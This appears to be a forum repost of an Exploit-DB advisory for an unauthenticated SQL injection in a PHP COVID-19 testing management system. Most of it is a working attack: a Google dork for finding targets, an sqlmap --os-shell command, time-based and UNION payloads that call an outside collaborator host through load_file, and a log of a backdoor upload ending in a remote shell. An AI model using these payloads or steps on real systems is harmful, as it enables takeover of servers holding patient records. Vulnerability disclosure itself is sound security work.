Jump to content

COVID19 Testing Management System 1.0 - 'searchdata' SQL Injection

Recommended Posts

Vulnerable App:
# Exploit Title: COVID19 Testing Management System 1.0 - 'searchdata' SQL Injection
# Google Dork: intitle: "COVID19 Testing Management System"
# Date: 09/08/2021
# Exploit Author: Ashish Upsham
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/covid19-testing-management-system-using-php-and-mysql/
# Version: v1.0
# Tested on: Windows


The COVID19 Testing Management System 1.0 application from PHPgurukul is vulnerable to
SQL injection via the 'searchdata' parameter on the patient-search-report.php page.

==================== 1. SQLi ====================

The "searchdata" parameter is vulnerable to SQL injection, it was also tested, and a un-authenticated
user has the full ability to run system commands via --os-shell and fully compromise the system

POST parameter 'searchdata' is vulnerable.

step 1 : Navigate to the "Test Report >> Search Report" and enter any random value & capture the request in the proxy tool.
step 2 : Now copy the post request and save it as test.txt file.
step 3 : Run the sqlmap command "sqlmap -r test.txt -p searchdata --os-shell"

Parameter: searchdata (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: searchdata=809262'+(select load_file('yhj3lhp8nhgr0sb7nf7ma0d0wr2hq6.burpcollaborator.net'))+'') AND (SELECT 4105 FROM (SELECT(SLEEP(5)))BzTl) AND ('Rxmr'='Rxmr&search=Search

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: searchdata=809262'+(select load_file('yhj3lhp8nhgr0sb7nf7ma0d0wr2hq6.burpcollaborator.net'))+'') UNION ALL SELECT NULL,NULL,CONCAT(0x716a767071,0x59514b74537665486a414263557053556875425a6543647144797a5a497a7043766e597a484e6867,0x7176767871),NULL,NULL,NULL,NULL-- -&search=Search

[19:14:14] [INFO] trying to upload the file stager on '/xampp/htdocs/' via UNION method
[19:14:14] [INFO] the remote file '/xampp/htdocs/tmpuptfn.php' is larger (714 B) than the local file '/tmp/sqlmap_tng5cao28/tmpaw4yplu2' (708B)
[19:14:14] [INFO] the file stager has been successfully uploaded on '/xampp/htdocs/' -
[19:14:14] [INFO] the backdoor has been successfully uploaded on '/xampp/htdocs/' -[19:14:14] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:  'laptop-ashish\ashish'


Sursa: https://www.exploit-db.com/exploits/50190

  • Upvote 1
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Create New...